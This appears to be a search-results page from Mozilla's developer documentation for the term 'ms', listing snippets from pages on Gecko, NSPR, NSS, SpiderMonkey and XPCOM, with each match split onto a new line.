ms.inputmode <link rel="preload"> the <link> element's rel attribute is intended to help provide performance gains by letting you download resources earlier in the page lifecycle, ensuring that they're available earlier and are less likely to block page rendering.
...developer edition 73 no beta 73 no release 73 no preference name layout.css.constructable-stylesheets.enabled webrtc and media the following experimental features include those found in the webrtc api, the web audio api, the media session api, the media source extensions api, the encrypted media extensions api, and the media capture and strea
ms api.
...this is a still image file format that leverages the capabilities of the av1 video compression algorith
ms to reduce image size.
mozbrowseropensearch
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
... details the details property returns an anonymous javascript object with the following properties: title a do
mstring representing the title of the search engine.
... href a do
mstring representing url of the search engine.
mozbrowserusernameandpasswordrequired
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
... details the details property returns an anonymous javascript object with the following members: host a do
mstring representing the host requesting the http authentification.
... realm a do
mstring representing the value of the realm http header.
Embedding Mozilla
that means you can embed a web browser inside a third-party application, open channels and strea
ms through the network backend, walk through the dom and so on.
... embedding the editor this document describes the current state of editor embeddability, proble
ms with the existing implementation, some possible embedding scenarios that we need to deal with, and an embedding solution that will fulfil them.
... community view mozilla foru
ms...
Gecko Keypress Event
there are also some differences between the platfor
ms, as described in the following sections.
... problem 2 the access keys for the menu ite
ms are specified with the localized characters on some localized builds.
...there should be no chrome access keys with punctuation characters or other characters that would normally require depressing the shift key.) during accel key handling, if the event includes the shift modifier, but an alternative charcode is not a bicameral letter (i.e., it does not have upper and lower case for
ms), then the shift modifier state should be ignored if there is no exactly matching handler (requiring shift to be down).
HTTP Cache
when the writer still keeps the cache entry and has open and keeps open the output stream on it, other consumers may open input strea
ms on the entry.
... [not preferred] add a new argument to nsiloadcontextinfo; be careful here, since some arguments on the context may not be known during the load time, what may lead to inter-context data leaking or implementation proble
ms.
...this both mechanis
ms ensure thread-safe access and also inability to have more then a single instance of a cacheentry for a single <scope+enhanceid+url> key.
How to get a stacktrace with WinDbg
(start->all progra
ms->debugging tools for windows->windbg) next, open the "file" menu and choose "open executable...".
...(the keystroke for a pipe character on us keyboards is shift+\) submit the log file on a bug or via the support site, even if nothing see
ms to happen during the debug process start debugging now that firefox is opened in the debugger, you need to configure your windbg to download symbols from the mozilla symbol server.
...(more details are available at using the mozilla symbol server.) .sympath srv*c:\symbols*http://symbols.mozilla.org/firefox;srv*c:\symbols*http://
msdl.microsoft.com/download/symbols .symfix+ c:\symbols .reload /f now wait for the symbols to download.
PBackground
pbackground is a mechanism available since gecko 30 (see bug 956218) that builds on top of ipdl to provide a solution to common proble
ms that arise when handling multiple threads in the chrome process, for example communication between workers and multiple child processes and other parent-process worker threads.
...this protocol is called pcompositor, and allows us to bypass the main thread of the parent process, which tri
ms the latency of texture uploads since they will not get bogged down if that thread is busy.
... pbackground pbackground exists to solve such proble
ms.
IPDL Tutorial
it is possible to get into trouble with careless uses of synchronous messages; while ipdl can check and/or guarantee that your code does not deadlock, it is easy to cause nasty performance proble
ms by blocking.
...instanceparent* to bypass allocpplugininstance */ virtual bool callpplugininstanceconstructor(pplugininstanceparent* actor, const nscstring& type, const nstarray<nscstring>& args, int* rv) { /* generated code */ } /* destructor message */ virtual bool call__delete__(pplugininstanceparent* actor) { /* generated code */ } /* notification that actor deallocation is imminent, ipdl mechanis
ms are now unusable */ virtual void actordestroy(actordestroyreason why); ...
...*/ virtual bool answer__delete__(pplugininstancechild* actor) = 0; /* notification that actor deallocation is imminent, ipdl mechanis
ms are now unusable */ virtual void actordestroy(actordestroyreason why); ...
IPDL Type Serialization
each type specializes ipc::paramtraits as follows: namespace ipc { template <> struct paramtraits<mytype> { typedef mytype paramtype; static void write(message* a
msg, const paramtype& aparam) { // implement serialization here } static bool read(const message* a
msg, void** aiter, paramtype* aresult) { // implement deserialization here.
...most structures can be serialized in this manner: struct examplestruct { int i; nscstring j; int k[4]; }; namespace ipc { template <> struct paramtraits<examplestruct> { typedef examplestruct paramtype; static void write(message* a
msg, const paramtype& aparam) { writeparam(a
msg, aparam.i); writeparam(a
msg, aparam.j); for (int i = 0; i < 4; ++i) writeparam(a
msg, aparam.k[i]); } static bool read(const message* a
msg, void** aiter, paramtype* aresult) { if (!readparam(a
msg, aiter, &(aresult->i)) || !readparam(a
msg, aiter, &(aresult->j))) return false; for (int i = 0; i < 4; ++i) ...
... if (!readparam(a
msg, aiter, &(aresult->k[i]))) return false; return true; } }; } // namespace ipc once you have a serializer for a type, you can serialize a collection of it (ex: an nstarray<examplestruct>) by simply declaring "using nstarray<examplestruct>;' in your ipdl file, then using it in a ipc method.
Webapps.jsm
ion(aappstoregister, arunupdate) _registeractivities: function(amanifest, aapp, arunupdate) _createactivitiestounregister: function(amanifest, aapp, aentrypoint) _unregisteractivitiesforapps: function(aappstounregister) _unregisteractivities: function(amanifest, aapp) _processmanifestforids: function(aids, arunupdate) observe: function(asubject, atopic, adata) addmessagelistener: function(a
msgnames, aapp, amm) removemessagelistener: function(a
msgnames, amm) formatmessage: function(adata) receivemessage: function(amessage) getappinfo: function getappinfo(aappid) broadcastmessage: function broadcastmessage(a
msgname, acontent) registerupdatehandler: function(ahandler) unregisterupdatehandler: function(ahandler) notifyupdatehandlers: function(aapp, amanifest, azippath) _getappdir...
...: function(aid) _writefile: function(apath, adata) dogetlist: function() doexport: function(a
msg, amm) doimport: function(a
msg, amm) doextractmanifest: function(a
msg, amm) dolaunch: function (adata, amm) launch: function launch(amanifesturl, astartpoint, atimestamp, aonsuccess, aonfailure) close: function close(aapp) canceldownload: function canceldownload(amanifesturl, aerror) startofflinecachedownload: function(amanifest, aapp, aprofiledir, aisupdate) computemanifesthash: function(amanifest) updateapphandlers: function(aoldmanifest, anewmanifest, aapp) checkforupdate: function(adata, amm) doinstall: function doinstall(adata, amm) doinstallpackage: function doinstallpackage(adata, amm) pushcontentaction: function(windowid) popcontentaction: function(windowid) actioncancell...
... function(alocalid) getdefaultcspbylocalid: function(alocalid) getapplocalidbystoreid: function(astoreid) getappbylocalid: function(alocalid) getmanifesturlbylocalid: function(alocalid) getapplocalidbymanifesturl: function(amanifesturl) getcoreappsbasepath: function() getwebappsbasepath: function() _islaunchable: function(aapp) _notifycategoryandobservers: function(subject, topic, data,
msg) registerbrowserelementparentforapp: function(a
msg, amn) receiveappmessage: function(appid, message) _clearprivatedata: function(appid, browseronly,
msg) _sendprogressevent: function() updatestatechanged: function appobs_update(aupdate, astate) applicationcacheavailable: function appobs_cacheavail(aapplicationcache) ...
JavaScript code modules
customizableui.jsm allows you to interact with customizable buttons and ite
ms in firefox's main window ui.
... jni.jsm abstracts the js-ctypes to provide an interface that allows javascript code to call code running in native jv
ms.
... pluralform.jsm supplies an easy way to get the correct plural for
ms for the current locale, as well as ways to localize to a specific plural rule.
Application Translation with Mercurial
required tools build pre-requisites first, get the required progra
ms to compile mozilla applications like firefox and thunderbird from build instructions.
...c:\mozilla\coding\buildtools\mozillabuild\start-shell-
msvc2010.bat you can autocomplete the file path after typing a few characters and then pressing the tabulator key.
... microsoft's terminology search allows fast lookups of localized technical ter
ms.
Mozilla Content Localized in Your Language
formal and informal for
ms, and separators (, or .) date format what are the date formats for weeks and months are expressed in the following for
ms: 1)fully spelled out, 2).
... acrony
ms do you translate widely accepted acrony
ms such as cd, dvd, mb?
...if yes, list all for
ms of plural for
ms and examples if there is more than one.
Fonts for Mozilla's MathML engine
if you have a developer account, these are proble
ms 16841023 and 17021145.
... other syste
ms on other syste
ms, consider installing a math font using your package manager.
...a better alternative on unix syste
ms is to install the otf files for latin modern math and stix into some local font folder and (if necessary) to run fc-cache on it.
Various MathML Tests
testing mathml <
msub>: a b ; a i ; a i k testing mathml <
msup>: d b 2 a x 2 2 x ( 1 2 ) y a x .
... testing mathml <
msubsup>: a p q a b + c x .
... tho
mson scattering theory d 2 p d Ω s d ω s = r e 2 ∫ v < s i > d 3 r ∫ | e ^ .
Using the viewport meta tag to control layout on mobile browsers
initially this caused usability and readability proble
ms on many touch-optimized web sites.
...this can cause proble
ms when the browser doesn't render a page at a larger size.
...for example, mobile safari often just zoo
ms the page when changing from portrait to landscape, instead of laying out the page as it would if originally loaded in landscape.
Memory reporting
on platfor
ms that allow it, they count the actual memory in use, including "slop" bytes caused by the heap allocator rounding up request sizes (a.k.a.
...the amallocsizeof parameter allows mozilla::mallocsizeof functions with dmd-specific hooks to be passed in when they are used by memory reporters, but functions without such hooks (such as moz_malloc_size_of) can also be passed in when they are used in other circu
mstances.
... sometimes you may need variations on the above for
ms.
Refcount tracing and balancing
refcount tracing logs calls to addref and release, preferably for a particular set of classes, including call-stacks in symbolic form (on platfor
ms that support this).
...this requires c++ dynamic casts, so it is not supported on all platfor
ms.
... xpcom_mem_alloc_log for platfor
ms that don't have stack-crawl support, xpcom supports logging at the call site to addref/release using the usual cpp __file__ and __line__ number macro expansion hackery.
Preferences system
using this system it is possible to create preferences windows that display and operate appropriately on various platfor
ms (windows, macos x and gnome).
...you should be careful to read the higs for the platfor
ms you are targeting and use the xul preprocessor if necessary to set different window titles as appropriate.
... you should also be careful to specify the width of the window (in em) as appropriate using the preprocessor for each targeted platform, as well as the height (in em) for platfor
ms where the window size does not change as the selected panel is changed (e.g.
Leak And Bloat Tests
aim to provide a continuous check within mailnews and its sub-components for the following ite
ms: total memory leaks.
...provide reasonable coverage for the normal activities that a user perfor
ms.
...user_pref("mail.server.server2.type", "pop3"); user_pref("mail.server.server2.username", "tinderbox"); user_pref("mail.smtp.defaultserver", "smtp1"); user_pref("mail.smtpserver.smtp1.hostname", "tinderbox"); user_pref("mail.smtpserver.smtp1.username", "tinderbox"); user_pref("mail.smtpservers", "smtp1"); user_pref("mail.startup.enabledmailcheckonce", true); user_pref("mailnews.start_page_override.
mstone", "1.9pre"); user_pref("mail.shell.checkdefaultclient", false); // ensure os x and outlook/oe books are disabled user_pref("ldap_2.servers.osx.position", 0); user_pref("ldap_2.servers.oe.position", 0); preferences in generated profile, but not set: user_pref("mail.root.none", "/home/moztest/.thunderbird/t7i1txfw.minimum/mail"); user_pref("mail.root.pop3", "/home/moztest/.thunderbird/t7i1txfw...
NSPR build instructions
prerequisites on windows, the nspr build system needs gnu make and a unix command-line utility suite such as mks toolkit, cygwin, and
msys.
... build the libraries build the test progra
ms for example, # check out the source tree from mercurial hg clone https://hg.mozilla.org/projects/nspr # create a build directory mkdir target.debug cd target.debug # run the configure script ../nspr/configure [optional configure options] # build the libraries gmake # build the test progra
ms cd pr/tests gmake on mac os x, use make, which is gnu make.
... makefile targets all (default) clean realclean distclean install release running the test progra
ms the tests were built above, in the pr/tests directory.
Nonblocking IO In NSPR
fundamentally, this constraint is due to the fact that nonblocking i/o and <tt>select()</tt> are only available to sockets on some platfor
ms (e.g., winsock).
...i have seen some strange proble
ms with using a nonblocking socket associated with an i/o completion port.
... current status implemented across all supported platfor
ms.
Atomic Operations
atomic operations functions the api defined for the atomic functions is consistent across all supported platfor
ms.
...on syste
ms that do not provide direct access to atomic operators, nspr emulates the capabilities by using its own locking mechanis
ms.
... for such syste
ms, nspr perfor
ms atomic operations just as efficiently as the client could.
NSPR Types
algebraic operations: 8-, 16-, and 32-bit integer types 64-bit integer types floating-point number type for convenience, nspr also provides type definitions with platform-dependent bit widths: native os integer types 8-, 16-, and 32-bit integer types signed integers print8 print16 print32 unsigned integers pruint8 pruint16 pruint32 64-bit integer types different platfor
ms treat 64-bit numeric fields in different ways.
... some syste
ms require emulation of 64-bit fields by using two 32-bit numeric fields bound in a structure.
...conscientious use of these macros ensures portability of code to all the platfor
ms supported by nspr and still provides optimal behavior on those syste
ms that treat long long values directly.
PR_NormalizeTime
syntax #include <prtime.h> void pr_normalizetime ( prexplodedtime *time, prtimeparamfn para
ms); parameters the function has these parameters: time a pointer to a clock/calendar time in the prexplodedtime format.
... para
ms a time parameter callback function.
...for example, if the input argument time is in time zone a and the input argument para
ms represents time zone b, when pr_normalizetime() returns, time will be in time zone b.
PR OpenUDPSocket
can be pr_af_inet (ipv4), pr_af_inet6 (ipv6), or pr_af_local (unix domain, supported on posix syste
ms only).
...udp datagra
ms may be lost or delivered in duplicates or out of sequence.
...datagra
ms can be sent with pr_sendto and received with pr_recvfrom.
PR_SetConcurrency
generally used with mp syste
ms.
...the m x n model is not available on all host syste
ms.
...however, it may also prove advantageous on uniprocessor syste
ms to reduce the impact of having a locally scheduled thread calling incidental blocking functions.
NSPR
documentation about nspr this topic describes, in general ter
ms, the goals of nspr and a bit about how it does it.
... opensuse linux: install one or more of the following via yast or zypper : mozilla-nspr : binary libraries for your platform mozilla-nspr-32bit : binary libraries needed to run 32-bit progra
ms on a 64-bit os mozilla-nspr-devel : files needed (in addition to the above libraries) to compile progra
ms using nspr mozilla-nspr-debuginfo : debug information (including build symbols) for package mozilla-nspr mozilla-nspr-debuginfo-32bit : debug information (including build symbols) for package mozilla-nspr-32bit mozilla-nspr-debugsource : debug sources for all of the above c...
...ommunity view mozilla foru
ms...
NSS 3.21 release notes
in ssl.h ssl_getpreliminarychannelinfo - obtains information about a tls channel prior to the handshake being completed, for use with the callbacks that are invoked during the handshake ssl_signatureprefset - configures the enabled signature and hash algorith
ms for tls ssl_signatureprefget - retrieves the currently configured signature and hash algorith
ms ssl_signaturemaxcount - obtains the maximum number signature algorith
ms that can be configured with ssl_signatureprefset in utilpars.h nssutil_argparsemodulespecex - takes a module spec and breaks it into shared library string, module name string, module parameters string, nss specifi...
... new types in pkcs11t.h ck_tls12_master_key_derive_para
ms{_ptr} - parameters {or pointer} for ckm_tls12_master_key_derive ck_tls12_key_mat_para
ms{_ptr} - parameters {or pointer} for ckm_tls12_key_and_mac_derive ck_tls_kdf_para
ms{_ptr} - parameters {or pointer} for ckm_tls_kdf ck_tls_mac_para
ms{_ptr} - parameters {or pointer} for ckm_tls_mac in sslt.h sslhashtype - identifies a hash function sslsignatureandhashalg - identifies a s...
...nd nss_optionget to set or get the minimum dsa key size in pkcs11t.h ckm_tls12_master_key_derive - derives tls 1.2 master secret ckm_tls12_key_and_mac_derive - derives tls 1.2 traffic key and iv ckm_tls12_master_key_derive_dh - derives tls 1.2 master secret for dh (and ecdh) cipher suites ckm_tls12_key_safe_derive and ckm_tls_kdf are identifiers for additional pkcs#12 mechanis
ms for tls 1.2 that are currently unused in nss.
NSS 3.55 release notes
with this function, a given slot can be queried with a der-encoded certificate, providing performance and usability improvements over other mechanis
ms.
... known issues on some platfor
ms, using the makefile builds fails to locate seccomon.h; ensure you are using make all rather than just make.
... bug 1646324 - advertise pkcs#1 schemes for certificates in the signature_algorith
ms extension.
NSS Developer Tutorial
unfortunately, this can be a source of integer overflow bugs on 64-bit syste
ms.
... under certain circu
mstances, it is safe to add new members to an exported struct at the end.
... enu
ms the numeric values of public enumerators cannot be changed.
NSS Sample Code Sample_2_Initialization of NSS
try again.\n"); } /* clear out the duplicate password string */ if (p1) { port_me
mset(p1, 0, port_strlen(p1)); port_free(p1); } fclose(input); fclose(output); return p0; } /* change the password */ secstatus changepw(pk11slotinfo *slot, char *oldpass, char *newpass, char *oldpwfile, char *newpwfile) { secstatus rv; secupwdata pwdata; secupwdata newpwdata; char *oldpw = null; char *newpw = null; if (oldpas...
... try again.\n"); } else { pr_fprintf(pr_stderr, "invalid password.\n"); port_me
mset(oldpw, 0, pl_strlen(oldpw)); port_free(oldpw); return secfailure; } } else { break; } port_free(oldpw); } newpw = initslotpassword(slot, pr_false, &newpwdata); if (pk11_changepw(slot, oldpw, newpw) != secsuccess) { pr_fprintf(pr_stderr, "failed to chan...
...ge password.\n"); return secfailure; } port_me
mset(oldpw, 0, pl_strlen(oldpw)); port_free(oldpw); pr_fprintf(pr_stdout, "password changed successfully.\n"); } port_me
mset(newpw, 0, pl_strlen(newpw)); port_free(newpw); return secsuccess; } /* * this example illustrates initialization of the nss database.
Hashing - sample 1
/* this source code form is subject to the ter
ms of the mozilla public * license, v.
...*/ /* nspr headers */ #include <prprf.h> #include <prtypes.h> #include <plgetopt.h> #include <prio.h> /* nss headers */ #include <secoid.h> #include <secmodt.h> #include <sechash.h> #include <nss.h> typedef struct { const char *hashname; secoidtag oid; } nametagpair; /* the hash algorith
ms supported */ static const nametagpair hash_names[] = { { "md2", sec_oid_md2 }, { "md5", sec_oid_md5 }, { "sha1", sec_oid_sha1 }, { "sha256", sec_oid_sha256 }, { "sha384", sec_oid_sha384 }, { "sha512", sec_oid_sha512 } }; /* * maps a hash name to a secoidtag.
...f (htype != (hash_algtotal - 1)) fprintf(stderr, ", "); } fprintf(stderr, " (case ignored))\n"); fprintf(stderr, "%-20s define an input file to use (default is stdin)\n", "< input"); fprintf(stderr, "%-20s define an output file to use (default is stdout)\n", "> output"); exit(-1); } /* * check for the missing arguments */ static void print
msgandexit(const char *progname, char opt) { fprintf(stderr, "%s: option -%c requires an argument\n", progname, opt); usage(progname); } #define require_arg(opt,value) if (!(value)) print
msgandexit(progname, opt) /* * digests a file according to the specified algorithm.
Initialize NSS database - sample 2
try again.\n"); } /* clear out the duplicate password string */ if (p1) { port_me
mset(p1, 0, port_strlen(p1)); port_free(p1); } fclose(input); fclose(output); return p0; } /* * changepw */ secstatus changepw(pk11slotinfo *slot, char *oldpass, char *newpass, char *oldpwfile, char *newpwfile) { secstatus rv; secupwdata pwdata; secupwdata newpwdata; char *oldpw = null; char *newpw = null; if (oldpass) { pwd...
... try again.\n"); } else { pr_fprintf(pr_stderr, "invalid password.\n"); port_me
mset(oldpw, 0, pl_strlen(oldpw)); port_free(oldpw); return secfailure; } } else { break; } port_free(oldpw); } newpw = initslotpassword(slot, pr_false, &newpwdata); if (pk11_changepw(slot, oldpw, newpw) != secsuccess) { pr_fprintf(pr_stderr, "failed to chan...
...ge password.\n"); return secfailure; } port_me
mset(oldpw, 0, pl_strlen(oldpw)); port_free(oldpw); pr_fprintf(pr_stdout, "password changed successfully.\n"); } port_me
mset(newpw, 0, pl_strlen(newpw)); port_free(newpw); return secsuccess; } /* * this example illustrates initialization of the nss database.
nss tech note8
there was no api function by which client progra
ms could set these values.
... however since nss was delivered as archive libraries, client progra
ms merely declared these two variables for the
mselves, and then were able to alter those variables directly.
... for server progra
ms, the function for initializing the server session cache would set these two variables according to two of the arguments to that function.
NSS tools : certutil
the format of the validity-time argument is yymmddhhm
mss[+hhmm|-hhmm|z], which allows offsets to be set relative to the validity end time.
...when specifying an explicit time, use a z at the end of the term, yymmddhhm
mssz, to close it.
... when specifying an offset time, use yymmddhhm
mss+hhmm or yymmddhhm
mss-hhmm for adding or subtracting time, respectively.
sslcrt.html
if you attempt to do so, the change affects all the shallow copies of that structure and can cause severe proble
ms.
... syntax #include <secitem.h> #include <seccomon.h> seccomparison secitem_compareitem( secitem *a, secitem *b); parameters this function has the following parameters: a a pointer to one of the ite
ms to be compared.
... b a pointer to one of the ite
ms to be compared.
certutil
the format of the validity-time argument is yymmddhhm
mss[+hhmm|-hhmm|z], which allows offsets to be set relative to the validity end time.
...when specifying an explicit time, use a z at the end of the term, yymmddhhm
mssz, to close it.
... when specifying an offset time, use yymmddhhm
mss+hhmm or yymmddhhm
mss-hhmm for adding or subtracting time, respectively.
Necko Architecture
strea
ms necko represents data in the form of strea
ms (nsibasestream is the root interface.
...strea
ms provide a generic interface to the data and allow for many underlying implementations that permit multiple data sources to be used.
...the point is that strea
ms provide a loose interface for data access.
Multithreading in Necko
the implementation of the stream should be blocking; however, there is limited support for non-blocking strea
ms.
... dns thread (0-1) on most platfor
ms dns requests a processed on a background thread.
...in this way, necko takes advantage of the platfor
ms specific routines for dns lookups.
Rhino license
license for portions of the rhino debugger additionally, some files (currently the contents of toolsrc/org/mozilla/javascript/tools/debugger/treetable/) are available under the following license: * copyright 1997, 1998 sun microsyste
ms, inc.
... * * redistribution and use in source and binary for
ms, with or without * modification, are permitted provided that the following conditions * are met: * * - redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer.
... * * - neither the name of sun microsyste
ms nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission.
Shumway
there are two places where shumway bugs are tracked: github (via issues and pull requests) manages proble
ms relating to shumway, itself.
... bugzilla is intended for proble
ms with integrating shumway into firefox.
... end-users and less involved developers may report issues by hovering over "shumway" within flash content, clicking "report proble
ms", and filling the form.
Creating JavaScript tests
please keep in mind that the javascript test suite is run on a wide variety of wildly varying hardware plafor
ms, from phones all the way up to servers.
... even tests that check for polynomial time complexity will start to fail in a few years when they have sped up enough to run faster than the granularity of the os scheduler or when run on platfor
ms with higher latencies than your development workstation.
... it is ok under certain circu
mstances to push new tests to certain repositories without a code review.
FOSS
wrappers / bindings c++ cocos2d-js - cocos2d-js is a cross-platform game engine which embeds spidermonkey, providing the same api for both web and native platfor
ms.
...y, using javascript to implement logic behind its gui, supporting calls from javascript to c++ objects rust mozjs - rust bindings used by servo gnome gjs - javascript bindings to gnome (broadly, to any library using the gobject introspection mechanism) objective caml http://alain.frisch.fr/soft.html#spider - bindings to embed spidermonkey in ocaml applications perl http://jspl.
msg.mx/ - bindings to cross-embed spidermonkey and perl.
... http://javalikescript.free.fr/ - a general-purpose javascript platform that ai
ms to provide an extensible tooling framework http://www.synchro.net/ - a telnet/ssh bulletin board system (bbs) and internet server (http/smtp/ftp) with extra internet services written in javascript (irc, imap, gopher, and many more) https://github.com/mindbit/libjssql/wiki - a library that ai
ms to provide a generic sql api for javascript that is as similar as possible to jdbc misce...
Getting SpiderMonkey source code
g urls: http://ftp.mozilla.org/pub/spidermonkey/releases/ http://ftp.mozilla.org/pub/spidermonkey/prereleases/ here is a command-line example of downloading and unzipping spidermonkey source code version 59.0: mkdir mozilla cd mozilla wget http://ftp.mozilla.org/pub/spidermonkey/prereleases/59/pre1/mozjs-59.0a1.0.tar.bz2 tar xvf mozjs-59.0a1.0.tar.bz2 these commands should work on most platfor
ms including windows, as long as on windows you are using the mozillabuild bash shell.
... if you have proble
ms with the instructions above, you can read the full details of using mercurial to get mozilla code here.
... git clone --depth 1 https://github.com/mozilla/gecko-dev.git if you have any proble
ms check the https://wiki.mozilla.org/github page.
Tracing JIT
nanojit/assembler.* the nanojit/assembler.cpp and nanojit/assembler.h files define the class assembler, which transfor
ms lins values into nins values.
... in other words, an assembler transfor
ms lir code into native code.
... spidermonkey-specific high level component: jstracer.* the files jstracer.cpp and jstracer.h contain a the mechanis
ms of monitoring and recording the activity of the interpreter.
JSAPI Cookbook
this article shows the jsapi equivalent for a tiny handful of common javascript idio
ms.
... note: the foss wiki page contains a few links to other libraries and progra
ms that can make life easier when using spidermonkey and jsapi.
... /* jsapi */ if (!js_defineproperty(cx, obj, "prop", int_to_jsval(123), js_propertystub, js_strictpropertystub, jsprop_readonly | jsprop_enumerate | jsprop_permanent)) { return false; } defining a property with a getter and setter object.defineproperty() can be used to define properties in ter
ms of two accessor functions.
Mozilla Projects
this system is combination of projects: e
mscripten e
mscripten is an llvm to javascript compiler.
... thread sanitizer thread sanitizer (tsan) is a fast data race detector for c/c++ progra
ms.
... anyone can contribute to the onward development of zest, and tea
ms or individuals who develop security tools are especially welcome to join and help shape zest's future.
AT Development
then comtypes gives access to
msaa and iaccessible2.
... references at apis implementation references shows how gecko handles atk, iaccessible2,
msaa and universal access api accessible web specifications references provides the map of reflecting web specification to at apis.
... xfor
ms references - gecko documentation showing how xfor
ms controls are mapped to at apis.
Life After XUL: Building Firefox Interfaces with HTML
this page gathers technical solutions to common proble
ms encountered by tea
ms shipping html-based interfaces inside firefox.
...in the meantime, some tea
ms are already experimenting with html5-based interfaces.
... proble
ms / solutions: accessibility localization caching for working offline / pre-caching for snappy first run visual performance / jank security privacy operations tooling build process third-party library use and management ...
History Service Design
places is designed to be a complete replacement for the firefox bookmarks and history syste
ms using storage.
...only the first level of a node is usually filled, internal nodes or queries will populate the
mselves when opened.
... finally expiration can be forced by the user hi
mself to clean up the full history or slices of it (last hour, last day, ...).
Using the Places livemark service
livemarks are bookmark folders that contain the most recent ite
ms from an rss feed.
... var b
msvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"].
... getservice(components.interfaces.nsinavbookmarksservice); var root = b
msvc.bookmarksmenufolder; // item id of the bookmarks menu var newlvmkid = livemarkservice.createlivemarkfolderonly(b
msvc, root, "livemark name", uri("http://example.com/"), uri("http://example.com/rss.xml"), -1); the parameters here are the same as for nsilivemarkservice.createlivemark(), except for the insertion of a new parameter at the beginning, which is the nsinavbookmarksservice to use when creating the livemark.
Bundling multiple binary components
actually, nspr has portable versions of those features that work across platfor
ms.
... this approach uses one binary component for each version of gecko and platform, plus the stub loader component therefore, to support 2 gecko versions on three platfor
ms, you need seven components (6 real components + 1 stub).
... the stub component can be either binary or javascript, but it is far easier in javascript is cross-platform and does not have compile- or load- time compatibility proble
ms.
How to build an XPCOM component in JavaScript
a sample makefile.in # this source code form is subject to the ter
ms of the mozilla public # license, v.
...'true' is passed for both // apersist and areplace para
ms.
... using xpcom instantiation try { var mycomponent = components.classes['@dietrich.ganx4.com/helloworld;1'] .createinstance(components.interfaces.nsihelloworld); alert(mycomponent.hello()); } catch (anerror) { dump("error: " + anerror); } other resources rm lantwo mozillazine foru
ms threads about implementing xpcom components in js with some explanations, example code, and troubleshooting tips: http://foru
ms.mozillazine.org/viewtopic.php?t=308369 http://foru
ms.mozillazine.org/viewtopic.php?t=367298 implementing xpcom components in javascript at kb.mozillazine.org using xpcom in javascript without leaking - a must-read.
XPCOM changes in Gecko 2.0
prior to gecko 2, during component registration, all binary and javascript component files were loaded and called, asking them to register the
mselves.
...platform-specific directories the component/chrome system used to look in platform-specific subdirectories of an extension, such as platform/winnt_x86-
msvc/chrome.manifest on windows.
...you can use the os and abi chrome registration directives to achieve the same effect: binary-component components/windows/mycomponent.dll abi=winnt_x86-
msvc binary-component components/mac/mycomponent.dylib abi=darwin_x86-gcc3 binary-component components/mac/mycomponent64.dylib abi=darwin_x86_64-gcc3 binary-component components/linux/mycomponent.so abi=linux_x86-gcc3 this also means that platform-specific preferences are no longer possible.
Building the WebLock UI
overlays are xul files that register the
mselves to be dynamically inserted into the appropriate parts of the browser ui at runtime.
...in overlays the ordinarily unique id attributes that xul elements use to distinguish the
mselves are purposely made redundant with ui in the existing browser with which they should be merged.
...this material may be distributed only subject to the ter
ms and conditions set forth in the open publication license, v1.02 or later.
Component Internals
this section introduces it in ter
ms of xpcom initialization, and the next chapter describes what you have to do in your component code to register your component with xpcom.
...most components and embedding applications need to link to some string class or other in order to utilize certain gecko apis, but the string code that mozilla uses is highly complex and even more expensive than the glue code in ter
ms of footprint (~100k).
...this material may be distributed only subject to the ter
ms and conditions set forth in the open publication license, v1.02 or later.
Finishing the Component
for example, in 2002 the gnu compiler collection (gcc), version 3.2 changed the c++ abi, and this caused proble
ms between libraries compiled with gcc 3.2 and applications compiled with an earlier version and vice versa.
... similar proble
ms occurred with gcc 4.0, which underwent similar abi changes.
...this material may be distributed only subject to the ter
ms and conditions set forth in the open publication license, v1.02 or later.
Packaging WebLock
« previousnext » in this final part of the tutorial, we'll put all of the pieces of the web locking component - the library itself, the type library, the header file, and the user interface resources - into a package that can be installed on other syste
ms.
...the files the
mselves are stored in the jar file weblock.jar, which is simple a zip file with the xpi extension that sometimes also contains an internal installation file called install.js.
...this material may be distributed only subject to the ter
ms and conditions set forth in the open publication license, v1.02 or later.
Preface
important ter
ms and new concepts are also italicized the first time they appear in the text.
... those ter
ms are either explained immediately after they are cited, or else the reader is referred to a section in the book where they are described in detail.
...this material may be distributed only subject to the ter
ms and conditions set forth in the open publication license, v1.02 or later.
Using XPCOM Components
i added |pr_false| as a fourth parameter because the interface see
ms to require it: http://lxr.mozilla.org/mozilla/source/netwerk/cookie/public/nsicookiemanager.idl#64 this problem also appears in the javascript version below, and i've added |false| as a fourth parameter there as well.
...i added |false| as a fourth parameter because the interface see
ms to require it: http://lxr.mozilla.org/mozilla/source/netwerk/cookie/public/nsicookiemanager.idl#64 this problem also appears in the c++ version above, and i've added |pr_false| as a fourth parameter there as well.
...this material may be distributed only subject to the ter
ms and conditions set forth in the open publication license, v1.02 or later.
NS_NewLocalFile
this parameter has no effect on unix syste
ms.
... remarks on unix syste
ms, the prefix "~/" is supported as a shorthand for the user's home directory.
...this example should compile by default under
msvc.
mozIRegistry
the intent is that such services the
mselves be built on top of the new moziregistry interface.
...our current build/install process doesn't quite step up to these proble
ms as of yet.
... i18n xul/xptoolkit app shell clsid binding protocols this is a placeholder for potential encapsulations of particular idio
ms for storing clsid information in the registry and using that information, along with nsrepository, to implement some instance creation protocol on top of the core xpcom services.
nsIAccessibleSelectable
inherits from: nsisupports last changed in gecko 1.7 method overview void addchildtoselection(in long index); void clearselection(); nsiarray getselectedchildren(); boolean ischildselected(in long index); nsiaccessible refselection(in long index); void removechildfro
mselection(in long index); boolean selectallselection(); attributes attribute type description selectioncount long the number of accessible children currently selected.
...removechildfro
mselection() removes the specified child of the object from the object's selection.
...void removechildfro
mselection( in long index ); parameters index zero-based accessible child index.
nsIAlertsService
however, certain notification syste
ms (such as growl on mac os x) allow the user to disable alerts by name.
...only available on supported platfor
ms.
...only available on supported platfor
ms.
nsIAppShell
on some platfor
ms this will be a no-op.
...under some circu
mstances these "additional methods" can cause gecko event handlers to be re-entered, sometimes leading to hangs and crashes.
...on some platfor
ms (those that do not use any "additional methods") this will be a no-op.
nsIApplicationCacheNamespace
constants constant value description namespace_bypass 1 ite
ms matching this namespace can be fetched from the network when loading from this cache.
... namespace_fallback 2 ite
ms matching this namespace can be fetched from the network when loading from this cache; however, if the load fails, the cache entry specified by the data attribute should be loaded intstead.
... namespace_opportunistic 4 ite
ms matching this namespace should be cached opportunistically.
nsIContentViewManager
